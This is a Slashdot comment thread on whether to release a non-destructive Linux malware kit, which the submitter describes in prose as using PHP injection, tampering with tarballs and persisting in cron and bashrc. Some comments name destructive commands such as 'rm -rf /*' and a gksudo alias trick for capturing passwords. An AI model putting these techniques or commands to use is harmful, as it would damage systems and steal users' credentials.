Slashdot Mirror


Ethics of Releasing Non-Malicious Linux Malware?

buchner.johannes writes "I was fed up with the general consensus that Linux is oh-so-secure and has no malware. After a week of work, I finished a package of malware for Unix/Linux. Its whole purpose is to help white-hat hackers point out that a Linux system can be turned into a botnet client by simply downloading BOINC and attaching it to a user account to help scientific projects. The malware does not exploit any security holes, only loose security configurations and mindless execution of unverified downloads. I tested it to be injected by a PHP script (even circumventing safe mode), so that the Web server runs it; I even got a proxy server that injects it into shell scripts and makefiles in tarballs on the fly, and adds onto Windows executables for execution in Wine. If executed by the user, the malware can persist itself in cron, bashrc and other files. The aim of the exercise was to provide a payload so security people can 'pwn' systems to show security holes, without doing harm (such as deleting files or disrupting normal operation). But now I am unsure of whether it is ethically OK to release this toolkit, which, by ripping out the BOINC payload and putting in something really evil, could be turned into proper Linux malware. On the one hand, the way it persists itself in autostart is really nasty, and that is not really a security hole that can be fixed. On the other hand, such a script can be written by anyone else too, and it would be useful to show people why you need SELinux on a server, and why verifying the source of downloads (checksums through trusted channels) is necessary. Technically, it is a nice piece, but should I release it? I don't want to turn the Linux desktop into Windows, hence I'm slightly leaning towards not releasing it. What does your ethics say about releasing such grayware?"

600 comments

  1. I think you've already decided... by Jeff321 · · Score: 5, Insightful

    There were two options:
    1. Release it anonymously and take no credit
    2. Write about it and get some credit (but then you can't actually release it due to legal issues)

    You can't (and won't) release it now. If somebody gets attacked with your code, guess who they're going to prosecute and/or sue.

    1. Re:I think you've already decided... by TheKidWho · · Score: 4, Funny

      Yes, especially when he includes his full name in TFS, unless of course this Johannes Buchner is his arch nemesis whom he is trying to frame.

    2. Re:I think you've already decided... by sopssa · · Score: 5, Insightful

      The summary says it doesn't actually do anything malicious and it isn't a worm. There is no legal reason why he couldn't release the code and/or a paper about it.

      The thing is, it's stupid for people to keep thinking their systems are insanely secure. Linux users fall for this all the time, because they've heard so from lots of other Linux users. It's better to show people that it is actually possible, and maybe it leads to better secured systems too.

    3. Re:I think you've already decided... by NoYob · · Score: 4, Funny

      Yes, especially when he includes his full name in TFS, unless of course this Johannes Buchner is his arch nemesis whom he is trying to frame.

      I tested your theory by saying "Johannes Buchner" in a stiff jawed English accent - a James Bond sort of accent. And low and behold, my scientific study has come to this conclusion:

      Johannes Buchner is in fact an evil genius and he will release this code on to the World bringing havoc to all Linux run internet servers in effect, destroying the internet unless he is paid One HUNdred biiiillllioooon Euroes!

      --
      It's NOT me! It's the meds! I'm on 1000mg of Fukitol.
    4. Re:I think you've already decided... by stefanlasiewski · · Score: 2, Informative

      Or, Johannes Buchner is the West Germanic language equivalent of "John Smith". There is more then one person with this name, although I suspect we're with the guy who posts his Public PGP key.

      --
      "Can of worms? The can is open... the worms are everywhere."
    5. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      Too late, he's already committed severe computer crimes offenses in several countries by simply writing it in the first place. He might be able to get away with claiming it was for research purposes, but certainly not if he releases it.

    6. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      There is no legal reason why he couldn't release the code and/or a paper about it.

      And after all this is some OSS that people out there are literally crying out for! The Patnerka will be ever so grateful.

    7. Re:I think you've already decided... by jedidiah · · Score: 3, Insightful

      OMG! The sky is falling! The sky is falling!

      You can get victimized by something that you HAVE TO CHOOSE TO RUN MANUALLY!

      Nevermind Trojans. A buggy apps could destroy all of my data and it doesn't even need an author with a cheesy villan laugh.

      This doesn't prove anything except that Windows losers desperately want some shadenfruede.

      --
      A Pirate and a Puritan look the same on a balance sheet.
    8. Re:I think you've already decided... by Anonymous Coward · · Score: 3, Insightful

      People forget, security is a process not a status. Your security process must continuously evolve to meat the always changing threats. Even if there is a major security flaw he found, it is no reason to panic as you should already have a process in place to respond to new threats. This is why I'm employed.........

    9. Re:I think you've already decided... by sopssa · · Score: 1, Insightful

      That still doesn't make the security problem go away. The usual rant from Linux users is that Windows is so insecure while Linux is so secure and has malware problems. Thats clearly just stupid thinking, because the main reason Linux doesn't have same level of malware is that it's desktop marketshare is ridiculously low. There's just no incentive to target it when you can target OS that 95% of the people are using.

      If things we're other way around, this surely would be problem with Linux. Even the fact that most apps in Linux are installed from repo's doesn't save, because if Linux had that kind of desktop marketshare there would be a lot more 3rd party applications downloaded from the internet. And if not, Year of Linux on Desktop will never come.

    10. Re:I think you've already decided... by Anonymous Coward · · Score: 3, Insightful

      destroying the internet unless he is paid One HUNdred biiiillllioooon Euroes!

      Why make billions, when you can make... millions?

    11. Re:I think you've already decided... by JDeane · · Score: 2, Insightful

      I agree and would like to add that most of the malware on a Windows system is also from people clicking run or allow.

      Most people know to run a virus scanner when using windows (although some confuse fire wall with virus scanner....) but the virus scanner can do nothing when the person clicks ignore...

      There have been remote installs on windows in the past and virus's that could hide inside other executables but those where rather rare and if you stuck to trusted sites that was hardly an issue. I think my personal favorite was Winnuke but thats so old.

      If your running Windows Vista or 7 with a decent firewall and virus scanner with Firefox or Opera your fairly secure baring letting some one use your machine for P2P or browsing some porn sites (some are safe but I have seen some works of art and I am not talking about the jpegs lol)

      Basically the most important security measure you can have is physical security and proper knowledge, forewarned is forearmed.

      P.S. For the advanced windows user there are literally a dozen more things you can do to lock a system down and make it more secure but changing your browser and running a decent firewall with antivirus should be enough to keep out 99% of the bad guys.

    12. Re:I think you've already decided... by JDeane · · Score: 1

      Your words have the ring of truth!

    13. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      Or:

      3) Make sure your father is the head of the NSA and can keep you out of jail. (http://en.wikipedia.org/wiki/Morris_Worm)

      There's nothing new about this kind of thing, but don't assume that you're so competent the malware will _not_ damage important systems.

    14. Re:I think you've already decided... by illumastorm · · Score: 1, Redundant

      A billion is more than a million, genius.

    15. Re:I think you've already decided... by HiggsBison · · Score: 5, Funny

      Why make billions, when you can make... millions?

      Yes! Exactly! Today the universe, tomorrow the world!

      --
      My other car is a 1984 Nark Avenger.
    16. Re:I think you've already decided... by The+real+J.+Buchner · · Score: 2, Funny

      I'm Johannes Buchner and so's my wife!!!

    17. Re:I think you've already decided... by BrokenHalo · · Score: 2, Insightful

      It doesn't accomplish anything to reiterate the meaningless and unproveable claim that Linux would be just as insecure as Windows if more people used it. The fact remains that in most sensible implementations, the user is unable to run arbitrary code outside his own directory.

      The submission mentions the persistence in autostart as being really nasty, and not really a security hole that can be fixed, but it seems to me that it should be trivial to reset autostart or bashrc scripts to a known-good state on login. It would mean that the user would have to su or sudo to make permanent changes, but in this case he is in a good position to notice any untoward changes.

      It seems to me that rather than going to the trouble of packaging up a malware toolkit and worrying about whether or not to release it, the submitter would be better advised to refer separate vulnerabilities individually to the developers concerned. All of the software he mentions is under active development, so it's unlikely he would be ignored.

    18. Re:I think you've already decided... by westlake · · Score: 2, Insightful

      You can get victimized by something that you HAVE TO CHOOSE TO RUN MANUALLY!

      Of course you can.

      The simplest and most productive line of attack on any OS will always be to play on the weaknesses of the user and not the tech.

    19. Re:I think you've already decided... by Slashdot+Suxxors · · Score: 1
    20. Re:I think you've already decided... by Max+Littlemore · · Score: 4, Insightful

      You can get victimized by something that you HAVE TO CHOOSE TO RUN MANUALLY!

      It's not that simple. A lot of ill informed users do little things to get stuff working in Ubuntu based on reading it somewhere on a blog or a forum. I've seen suggestions for network configs that leave a lot to be desired - basically creating anonymous login ftp to the users home directory with write access. And these things are tempting if you want, for example, your phone to connect to your PC over wifi and you don't generally consider security.

      A little script or carefully constructed script or package that calls gksudo to get permission to hide the real gksudo behind an alias and captures the password could be attractive if it provides a "simple way to sync your smart phone with the ubuntu desktop - even supporting the iphone". We haven't seen one in the wild yet, AFAIK, but that would be pretty successful. I even think that the model for distributing the iPhone thing that went around would work pretty well given some of the advice out there especially if you read the "fix" and don't read the comment buried halfway down the page with a warning in it.

      That's the trouble with the Linux ostrich based security model. It's just like the Windows security model. It relies completely on users having the understanding to set their systems up and maintain them securely and unfortunately the temptation to do quick and dirty tricks is very high in the desktop linux world.

      In fairness, a default install of Ubuntu is more secure than Windows XP and Vista (not sure about win7) but the volume of quick and dirty fixes and the signal to noise on Ubuntu is such that they are really about even. As always, a classic PEBCAK.

      --
      I don't therefore I'm not.
    21. Re:I think you've already decided... by ClosedSource · · Score: 1

      Sounds like your security process is to be ready to "evolve" once a new threat exploits the holes you've had for years but haven't found yet.

      So the security "process" is only important to the extent that your security "status" is poor.

    22. Re:I think you've already decided... by Anonymous Coward · · Score: 2, Insightful

      OMG! The sky is falling! The sky is falling!

      You can get victimized by something that you HAVE TO CHOOSE TO RUN MANUALLY!

      Nevermind Trojans. A buggy apps could destroy all of my data and it doesn't even need an author with a cheesy villan laugh.

      This doesn't prove anything except that Windows losers desperately want some shadenfruede.

      Um, and this is different from a Windows virus how?

      99% of all infections/trojans/malware/botnets infect/are created by user abuse of the system.

      You can't code against that. The only "protection" that *nix/mac systems have over Windows is that no one gives a rats ass about infecting you, so they don't try. It's not because your system is any more secure against "CLICK HERE TO WIN FREE XBOX 360" infections.

    23. Re:I think you've already decided... by PixieDust · · Score: 1

      The fact remains that in most sensible implementations, the user is unable to run arbitrary code outside his own directory. /blockquote. I do the same to Windows implementations. It really isn't difficult. I would consider doing that "sensible". So in most sensible Windows implementations, the user is unable to run arbitrary code outside zir own directory. Stalemate.

    24. Re:I think you've already decided... by brouski · · Score: 1

      I take it the first Austin Powers is the only one you've seen then?

      --
      Proud member of the American Non Sequitur Society. We might not make much sense, but boy do we love pizza!
    25. Re:I think you've already decided... by unitron · · Score: 2, Funny

      Your security process must continuously evolve to meat...

      We'll be having none of your sissy vegetable security processes here, my lad.

      --

      I see even classic Slashdot is now pretty much unusable on dial up anymore.

    26. Re:I think you've already decided... by cslax · · Score: 1

      Why make Euros when you could make... dollars!

    27. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      No, you set up an account just for this?

      And then wrote that?

    28. Re:I think you've already decided... by Zontar+The+Mindless · · Score: 2, Informative

      3) Make sure your father is the head of the NSA and can keep you out of jail. (http://en.wikipedia.org/wiki/Morris_Worm)

      Actually, his father was Chief Scientist at NCSC, not quite the same thing.

      It can also be argued that Morris (the son, that is) honestly screwed up.

      --
      Il n'y a pas de Planet B.
    29. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      Clearly you've never read any of the absurd anti-hacking laws.
      Unfortunately, doing nothing malicious doesn't keep you from breaking the law.

    30. Re:I think you've already decided... by eelke_klein · · Score: 4, Funny

      Okay, you give me a million euro's and i'll give you a million dollars...

    31. Re:I think you've already decided... by WuphonsReach · · Score: 3, Informative

      browsing some porn sites

      (sigh) That's a fallacy that needs to die. Yes, drive-by exploits are more common in the dark corners of the internet (warez, porn, etc. sites). But you're also quite likely to find regular websites that have been hacked to serve up exploits and infections. Not to mention the constant problems where ad networks serve up malicious content.

      You can no longer assume that just because you don't go visit the dark corners of the internet that you're safe.

      The last infection that I tracked down by reviewing our squid transparent proxy logs came from a hobby site. I don't remember if it was sewing, cooking, or some other benign type hobby. But it was nothing that would get you fired if someone saw you browsing it. The site's pages had been all altered to serve up a Javascript exploit which would infect the machine.

      --
      Wolde you bothe eate your cake, and have your cake?
    32. Re:I think you've already decided... by TangoMargarine · · Score: 1

      Woosh

      --
      Unity? Screw that: XFCE. Slashdot Beta? Screw that: SoylentNews. Australis? Screw that: Pale Moon. UX developers DIAF
    33. Re:I think you've already decided... by silentcoder · · Score: 5, Insightful

      There is one crucial difference that really does make linux MUCH more secure, and oddly, it's the one thing nobody mentions when discussing it.

      Linux users (hardly ever) download and install software from the internet. We download and install packages from repositories.

      A huge amount of Linux security comes from the fact that we've taken the task of identifying malware from the real thing, and given it to trained professionals rather than Joe Sixpack. The average user simply cannot tell the difference between a useful piece of freeware and a bugridden-malware-spreading piece of add-ware.

      The people who populate distribution repositories generally can. Then we add other layers on top - like using digital signatures so the client machine can be sure the package you asked it to fetch is in fact the package that got downloaded (thus protecting against somebody replacing a package with a malware program in the same filename on a mirror site) etc. etc.

      That grounds up linux is probably a more secure design than windows I don't doubt, I also know that it's far from being anything like as secure a design as we imagine- especially as it moves into the desktop realm. But - and this is a big but, since the easiest way to install anything on linux remains using your distro's provided tools to install from your distro's repositories (for the ubuntu crowd... I mean "using synaptic") - the risk of malware infection is kept remarkably low - not because linux is so secure, but because infecting the repo's will be very hard indeed and the software in those repos are checked by people who are *trained* in computers.

      --
      Unicode killed the ASCII-art *
    34. Re:I think you've already decided... by Mista2 · · Score: 2, Interesting

      Relaease it as open source, then it can be improved o make it the leanest, fastest and most efficient hacking toolkit, while simultaneously all security and kernel devs can try to patch the exploited holes, but in the end, I assume that to be owned the user must install the malware first, and that comes down to the human operator. There are still no patches to fix careless administration.

    35. Re:I think you've already decided... by Mista2 · · Score: 1

      Now I know that my OS X machine is just as vlnerable as Windows and Linux, but I have no infections or problems apart from my phpBB2 forum getting hacked a while ago, and the cause of that was a known flaw exploted by a bot. I should have kept it patched but I was a few versions behind. My own desktops or servers that I manage have not had any problems....yet 8)

    36. Re:I think you've already decided... by fractoid · · Score: 1

      This is true. Most drive-by attacks these days seem to come from dodgy banner ads, or poorly sanitised user comments with embedded scripting on otherwise perfectly legitimate web sites.

      --
      Rampant carbon sequestration destroyed the Dinosaurs' tropical paradise. I'm here to help repair the damage.
    37. Re:I think you've already decided... by fractoid · · Score: 1

      99% of all infections/trojans/malware/botnets infect/are created by user abuse of the system.

      You can't code against that. The only "protection" that *nix/mac systems have over Windows is that no one gives a rats ass about infecting you, so they don't try. It's not because your system is any more secure against "CLICK HERE TO WIN FREE XBOX 360" infections.

      And what is more, this will continue to be the case for as long as home computers are general-purpose machines on which their owners can install arbitrary software.

      With great flexibility comes great fuckupability.

      --
      Rampant carbon sequestration destroyed the Dinosaurs' tropical paradise. I'm here to help repair the damage.
    38. Re:I think you've already decided... by profplump · · Score: 2, Interesting

      It isn't really that difficult unless you are actually using one of the millions of bits of really bad, Windows-only software that are the reason many businesses use Windows in the first place.

      I've got a client that has one app the requires Administrator rights to even run, another than requires a logged-in session on the server (or whatever workstation is running as the server) 24/7 to allow access, and a third that will only save user data to Program Files folder. And these are considered to be some of the best apps available in this industry, at least for less than $250k.

      What exactly would you do to secure those sort of apps into a "sensible implementation" that allows me to limit write access to the home folder?

    39. Re:I think you've already decided... by Anonymous Coward · · Score: 1, Insightful

      Security will always depend on system administrators (and if you have a computer, and it isn't a work computer or something where you have someone with that title officially, then yes, you *ARE* its sysadmin) having the understanding and responsibility for their systems.

      Some operating systems encourage you to learn, understand, and generally be qualified for this task. Certain others make things that look like shiny toys/appliances and encourage their use by the ignorant.

      Its not a toy, or an appliance. Its a tool. Its a fairly complex tool, far more than a screwdriver, or even a hammer. If you aren't qualified to use it, you should use it only under the supervision and advice of someone who is. All the Microsoft eye-candy in the world wont change that.

    40. Re:I think you've already decided... by ultranova · · Score: 1

      What exactly would you do to secure those sort of apps into a "sensible implementation" that allows me to limit write access to the home folder?

      This seems like a job for virtual machines. Run each one in a separate instance, and that instance is for all intents and purposes their "home directory". Something goes wrong, simply reset the machine's disk image and restore user data from a backup.

      And, of course, once you're running apps in a VM, the host can use Linux and get all the security/stability/efficiency advantages of that on top of Window's app support.

      --

      Forget magic. Any technology distinguishable from divine power is insufficiently advanced.

    41. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      Give it your best shot! We are anxiously awaiting this new thrill that you have created! or should I say "Put up or Shut up!"

    42. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      OK, let's see how this idea works in the real world:

      First, find somes Linux user who isn't a untouchable greasy virgin computer nerds. ........... Oh what, you found one? That comment was like 5 years ago! Now let's put a Linux AntiVirus Ubuntu Pro Video Codec 2013 banner ad in front of them.

      Yep, they got owned, sorry about your theory.

    43. Re:I think you've already decided... by maggotbrain_777 · · Score: 1

      I don't want schadenfreuede, I just want to read that PowerPoint where my boss told me that we were secure, this year.

    44. Re:I think you've already decided... by Deanalator · · Score: 1

      jeff321:
      Blah, try naming a single person who got in legal hot water by releasing code.

      johannes:
      The name of the game is PoC or GTFO. Don't be another one of those useless researchers who talks about how they can own everything, but if they release code, somehow that will help the bad guys. Those researchers often don't know what they are talking about , and even if they do, 10 years later and people still aren't protected. Dump it to full disclosure, release it on your website, or hold it for shmoocon or something. Do it however you want, but you should release it. If it really is as awesome as you say it is, it will make the world a better and safer place, if not, it may inspire someone else to go the next step.

    45. Re:I think you've already decided... by smash · · Score: 1

      Linux users (hardly ever) download and install software from the internet. We download and install packages from repositories.

      Of course, repositories can never be hacked, that's unpossible!

      --
      I run: Windows, OS X, Linux, FreeBSD. Just because you have a hammer, doesn't mean everything is a nail.
    46. Re:I think you've already decided... by Sophira · · Score: 1

      The fact remains that in most sensible implementations, the user is unable to run arbitrary code outside his own directory.

      And it's a completely meaningless fact, since arbitrary code run from outside your own directory will have exactly the same privileges as arbitrary code run from inside your own directory.

      I think you mean that the user is unable to run code under someone else's user ID (such as root).

    47. Re:I think you've already decided... by Sophira · · Score: 1

      And what is more, this will continue to be the case for as long as home computers are general-purpose machines on which their owners can install arbitrary software.

      Clearly we need one of those free XBox 360s instead!

      *ducks*

    48. Re:I think you've already decided... by silentcoder · · Score: 3, Insightful

      I didn't say it *never* happens, I said it's very rare and much harder than cracking individual's machines.
      It can happen, it has happened, and even then it didn't put the end-users at risk because the distributions instantly shut down the boxes did an audit and released them again only when they were checked - and had the keys replaced to ensure none of the packages that were on at the time of the break-in could install anymore.

      --
      Unicode killed the ASCII-art *
    49. Re:I think you've already decided... by gbjbaanb · · Score: 2, Insightful

      Whilst that's true, you're forgetting the large amount of 'howto configure xyz' blogs, forums and other sites providing information. Many users don't know how or why the steps they're given work, they just know to follow them blindly. As a result, you can get someone to open their system to you if you were malicious.

      So whilst its still not as easy to pwn a linux box, it is still very possible. As the number of users ignorant in system administration increases, this is the attack vector that will become more prevalent. This also applies to a lot of sysadmins, there's a *lot* of stuff in Linux systems today, some of it is very convoluted and difficult to understand let alone configure correctly.

    50. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      Probably a reddit guy. These people would do anything for a little bit of virtual attention.

    51. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      @jedidiah

      shadenfruede.

      Almost. Schadenfreude. And the capital S is according to German grammar, too.

      Just nitpicking.

    52. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      Although actually I've just started using Ubuntu and I've been adding repositories to my list so that I can get software that I can't get on the standard ones but that I really wanted. A lot of websites tell you how to do this and it's pretty simple so I'm not sure that repositories don't fall foul to the same problem as downloading freeware on windows.

    53. Re:I think you've already decided... by silentcoder · · Score: 3, Insightful

      I agree - this is going to become a problem. It never used to be, howtos were reliable documentation because we were a small community and the people reading them would have at least a basic understanding of what you're doing - howtos were there to get details.

      Nowadays... this is going to become an issue. The answer is probably to use the same approach we took with repo's. Make the proper distro forums clearly and prominently available to the user so he finds them first, rather than googling. Lead them to the sources of information that the good guys control, and hope to answer them there with sufficient frequency that there is no point in looking at random blogposts.

      I doubt that's a comprehensive answer, but it would at least mitigate things. The other is to ensure that the social aspect of FOSS comes with the disk I guess, when you hand out that ubuntu disk - make sure you hand out details on your local LUG. Get the newbs involved in the community around them, make sure that the person they ask first is somebody they can (probably) trust.

      It's all things we can mitigate but I agree, it won't remove the problem, it can - at best- keep the potential targets few enough to reduce the attractiveness of this vector (and I don't think we're nearly good enough at this stage to even do that, I just think we could become so).
      Basically - the problem you point out is a social one, social problems require social solutions - and those are never 100%.

      --
      Unicode killed the ASCII-art *
    54. Re:I think you've already decided... by nstlgc · · Score: 1

      I think you meant to say "schadenfreude". Relax, cowboy!

      --
      I'm Rocco. I'm the +5 Funny man.
    55. Re:I think you've already decided... by dbcad7 · · Score: 1

      Blogs and forums such as you describe, are even more exposed than checking the source code for some program someone is offering.. Yes you may have the occasional "Format c:/s" dickhead, but they are often easily found out by the masses of people checking these sites.. I doubt anyone would get away with that command for very long before someone points it out.. the same is true for the Linux community.

      --
      waiting for ad.doubleclick.net
    56. Re:I think you've already decided... by Jesus_666 · · Score: 2, Funny

      Because a billion is obviously twice as much as a million. It has the bi- prefix.

      --
      USE HOT GRITS WITH STATUE OF NATALIE PORTMAN (NAKED AND PETRIFIED)
    57. Re:I think you've already decided... by Jesus_666 · · Score: 1

      There have been remote installs on windows in the past and virus's that could hide inside other executables but those where rather rare

      What? There's a cornucopia of viruses that hide themselves inside PE files. In fact, If it doesn't spread to other files on the system I think it doesn't qualify as a virus (although it can still fulfill the definition of a worm if it spreads autonomously to other computers).

      --
      USE HOT GRITS WITH STATUE OF NATALIE PORTMAN (NAKED AND PETRIFIED)
    58. Re:I think you've already decided... by xtracto · · Score: 1

      This is true. Most drive-by attacks these days seem to come from dodgy banner ads, or poorly sanitised user comments with embedded scripting on otherwise perfectly legitimate web sites.

      Banner ads? Which banner ads?*

      Anyway, I always laugh when people think that because of running with an "unprivileged" account users are more secured.

      The fact is that all the information the user cares about is accessible (read and write) with this "unprivileged" account, in Linux, Windows and OsX.

      Any malicious program who wants to erase those, or a program who wants to transfer them to someone else will be able to do it without trouble (you just have to doubleclick that "paris-hilton-nude.jpg.exe).

      This is where antivirus became useful, as they provide a list of known malicious programs and block them so that computer users do not have to worry about.

      Of course, a comprehensive set of design rules for the operating system (for starters, the OS presenting the type of file based on the content and not three letters) or maybe the inability to run any program unless it is installed from a repo (but still, could you run a python script?) will help enhance the security.

      *Says an adblock plus user

      --
      Ubuntu is an African word meaning 'I can't configure Debian'
    59. Re:I think you've already decided... by xtracto · · Score: 1

      The fact remains that in most sensible implementations, the user is unable to run arbitrary code outside his own directory..

      So, besides hanging in the user's .bashrc, deleting all user files, or sending my_employees_SSN.odt via HTTP to the bad guys nothing bad will happen.

      Nice!

      --
      Ubuntu is an African word meaning 'I can't configure Debian'
    60. Re:I think you've already decided... by dkf · · Score: 1

      it doesn't even need an author with a cheesy villan laugh.

      But I like the laugh. I've practiced it so much. :-(

      --
      "Little does he know, but there is no 'I' in 'Idiot'!"
    61. Re:I think you've already decided... by xtracto · · Score: 1

      Linux users (hardly ever) download and install software from the internet. We download and install packages from repositories.

      But what about (future) Linux users who will get that "OMG l00k at my last picture from Cancun vacation!!!!" with the n1ce_b00bz.jpg.py attachment with a script that does some nasty things to their data.

       

      --
      Ubuntu is an African word meaning 'I can't configure Debian'
    62. Re:I think you've already decided... by magamiako1 · · Score: 1

      wow, someone with a brain on slashdot when it comes to information security.

      "The fact is that all the information the user cares about is accessible (read and write) with this "unprivileged" account, in Linux, Windows and OsX."

      ^^^^^ Everyone needs to read this statement.

    63. Re:I think you've already decided... by magamiako1 · · Score: 1

      silentcoder:

      At some point in time you are going to have more linux users than those that are interested in attending your LUG. In fact, I would imagine there are a lot of Ubuntu users who never visit a LUG. Why? Because they don't want to be seen as "too nerdy" in public.

      If Linux was to explode on the desktop, the problems would be pretty severe for security. Short of installing SELinux on every user's machine and teaching them how to use it.

      But this is exactly the same problem with Windows.

    64. Re:I think you've already decided... by Hungus · · Score: 1

      The summary is wrong, there is a thing called "theft of service".

      --
      Bad Panda! No Bamboo for you! In matters of importance ACs will not be responded to. Want to say something critical,OK
    65. Re:I think you've already decided... by Elky+Elk · · Score: 1

      Whoosh!

    66. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      The crucial difference, though, again comes from being open source. In Windows world, the quick&dirty fixes remain needed and therefore used for years. In open source world, the fixes for very popular things get integrated into the distributions fast. Especially with Ubuntu. The cases when this is not possible because of laws/copyrights, it's more hairy but even so those tend to get collected together into packages that can do a lot of those fixes. I think Linux Mint is one example of that, actually.

    67. Re:I think you've already decided... by NachtVorst · · Score: 1

      "The fact is that all the information the user cares about is accessible (read and write) with this "unprivileged" account, in Linux, Windows and OsX."

      I don't know about you, but my back-ups (containing all the information I care about) are not accessible with my unprivileged account...

      NachtVorst

    68. Re:I think you've already decided... by AvitarX · · Score: 1

      Except active virus scanning destroys computer performance.

      --
      Wow, sent an e-mail as suggested when clicking on "use classic" banner, and got a fast response that addressed my msg
    69. Re:I think you've already decided... by gbjbaanb · · Score: 1

      quite probably, but there are 2 factors that are at issue here:

      1. even if you think its poor advice, what can you do? Leave a comment saying "OMG don't do this"? Will anyone read your comment in amongst the ones saying "OMG this is teh best, you solved all my problems, you are so great"

      2. I doubt bad advice will be as obvious, more likely you'll see configuration options that end up with your server exposed to the world, maybe set up as an anonymous proxy or given write-access to your ftp server. Just think what configuration someone could give you for your samba shares, or your openldap server!

    70. Re:I think you've already decided... by pjt33 · · Score: 1

      At some point in time you are going to have more linux users than those that are interested in attending your LUG.

      I've been using Linux for 10 years now and I've never even looked up contact details for a LUG. Why would I? None of the distros I've installed has ever pushed them, and although I know they exist I have been given no reason to believe that they serve any purpose beyond socialising. I'm quite happy to be considered nerdy, but unless people publicise benefits of attending a LUG only hardcore fanboys are going to look into them.

    71. Re:I think you've already decided... by pretorianstalker · · Score: 1

      So thEn is it "the one"? Or did you mean more thAn one...

    72. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      Why make Euro's, if you can make... pounds?

    73. Re:I think you've already decided... by Daengbo · · Score: 0, Offtopic

      But the real question is ... "When he asks for a billion, does he mean a thousand million or a million million?" How many is a billion?

    74. Re:I think you've already decided... by CoccoBill · · Score: 1

      Who said that the security process is _only_ fixing holes after you've been exploited? If your process is only reactive, maybe you should look into some preventive and detective controls, THEN start evolving it together with changing threats, as the parent poster suggested.

    75. Re:I think you've already decided... by mcgrew · · Score: 1

      WTF? It isn't malicious and isn't a worm, and you have to install the damned thing. In other woirds, it "proves" that Linux is indeed safe -- at least, far safer than Windows, where malware has been in the woild that needs no user intervention beyond visiting the wrong website or opening the wrong email.

      If he'd come up with a program that would infect Linux by visiting his web site he'd have sometheng. I say to the author, Nice try, fudboy, but it's totally bogus.

    76. Re:I think you've already decided... by sopssa · · Score: 1

      There's not really lots of times now a days when the exploits on websites target Windows per se. They target vulnerabilities in 3rd party programs like Flash, Adobe PDF and so on.

      It would affect Linux just as well (SELinux actually does protect some of that, but it's just nuisance for "casual" desktop users)

    77. Re:I think you've already decided... by silentcoder · · Score: 1

      The number one purpose lugs serve is as teachers - monthly meetings where people share expertise. Sadly, they are more and more growing into some kind of professionals-association in many areas, with most of their focus on sysadmin skills, programming skill etc. and not nearly enough on "how to make an awesome home movie in GNU/Linux" kind of skills.

      --
      Unicode killed the ASCII-art *
    78. Re:I think you've already decided... by Xtravar · · Score: 1

      Well, for the third, you could probably use Junction to link it's Program Files/Whatever/Data directory to somewhere else. I've done this several times with applications that want to write to annoying places. Though, I don't know if you can junction to %HOMEDIR%.

      http://technet.microsoft.com/en-us/sysinternals/bb896768.aspx

      --
      Buckle your ROFL belt, we're in for some LOLs.
    79. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      Why make billions, when you can make... millions?

      Yes! Exactly! Today the universe, tomorrow the world!

      Banks aren't the only evil empires downsizing...

    80. Re:I think you've already decided... by jedidiah · · Score: 1

      I have seen co-workers be victimized in this manner by perfectly respectable websites.

      You don't have to venture into the deep dark recesses of the internet red light district to get a malware infection.

      The fact that "you the user did something bad" is not the problem. The problem is that the system was built with an absurd notion of convenience to begin with.

      This is why Microsoft is singular in it's troubles here. They go out of their way.

      --
      A Pirate and a Puritan look the same on a balance sheet.
    81. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      I don't think your "But" is that big. With a little bit of work it could be quite cute.

    82. Re:I think you've already decided... by jedidiah · · Score: 1

      > Um, and this is different from a Windows virus how?

      Microsoft has been hard at work blurring the line between data and executables for DECADES.

      THAT is how a lame manual trojan on Unix is different from a Windows virus.

      A Windows virus can perpetuate itself automatically with the holes that exist in Windows. This true even of the web based malware due to the notion that persists in Windows that you need to allow for the execution of random crud for the sake of convenience. This encourages end users to mindlessly run random crud and encourages website and other developers to shovel more of it towards the end users. They're buried in the crap and used to being buried in the crap.

      word processor virus
      database server virus
      web browser virus

      All of those are a reflection on Microsoft's approach to security engineering.

      They also represent lessons that the rest of us should take to heart.

      --
      A Pirate and a Puritan look the same on a balance sheet.
    83. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      This doesn't prove anything except that Windows losers desperately want some shadenfruede.

      Yes, that is all this is about. Just those pesky Windows users wanting Linux to look bad. [ROLLS EYES].

    84. Re:I think you've already decided... by jedidiah · · Score: 1

      ...in which case you've got a single cratered machine.

      Malware needs an environment that will allow it to grow and propagate. THAT is the most important part of the equation.

      Any idiot user can blindly run "rm -rf /*". They can even do it on MacOS if you give them good enough instructions.

      Individual users blowing their toes off aren't the real danger.

      --
      A Pirate and a Puritan look the same on a balance sheet.
    85. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      This is an interesting point, but invalid. He claims it doesn't do anything malicious, but admits that it in fact installs a cycle-sharing application. What Robin Hood did was still illegal, even if you happen to think it was morally upright. Borrowing without asking is STEALING. Look it up.

    86. Re:I think you've already decided... by sgtrock · · Score: 2

      Linux users (hardly ever) download and install software from the internet. We download and install packages from repositories.

      Of course, repositories can never be hacked, that's unpossible!

      And someone else fails Reading Comprehension 101. From the very GP that you quote:

      the risk of malware infection is kept remarkably low - not because linux is so secure, but because infecting the repo's will be very hard indeed and the software in those repos are checked by people who are *trained* in computers.

      (emphasis added)

      What part of "very hard indeed" made you think that the GP poster was saying "unpossible?"

      Git.

    87. Re:I think you've already decided... by jpvlsmv · · Score: 1

      You're such a milliard.

      --Joe

    88. Re:I think you've already decided... by ClosedSource · · Score: 1

      "Who said that the security process is _only_ fixing holes after you've been exploited?"

      Certainly not me. I stated my interpretation of what the GP described. My point is that changing threats can't create holes that aren't already there. Thus if all security holes have been eliminated (however difficult), no "process" is then required.

    89. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      I already own the universe, I just haven't told anyone.

    90. Re:I think you've already decided... by xtracto · · Score: 1

      Mine too... but then again, we are posting in /.

      --
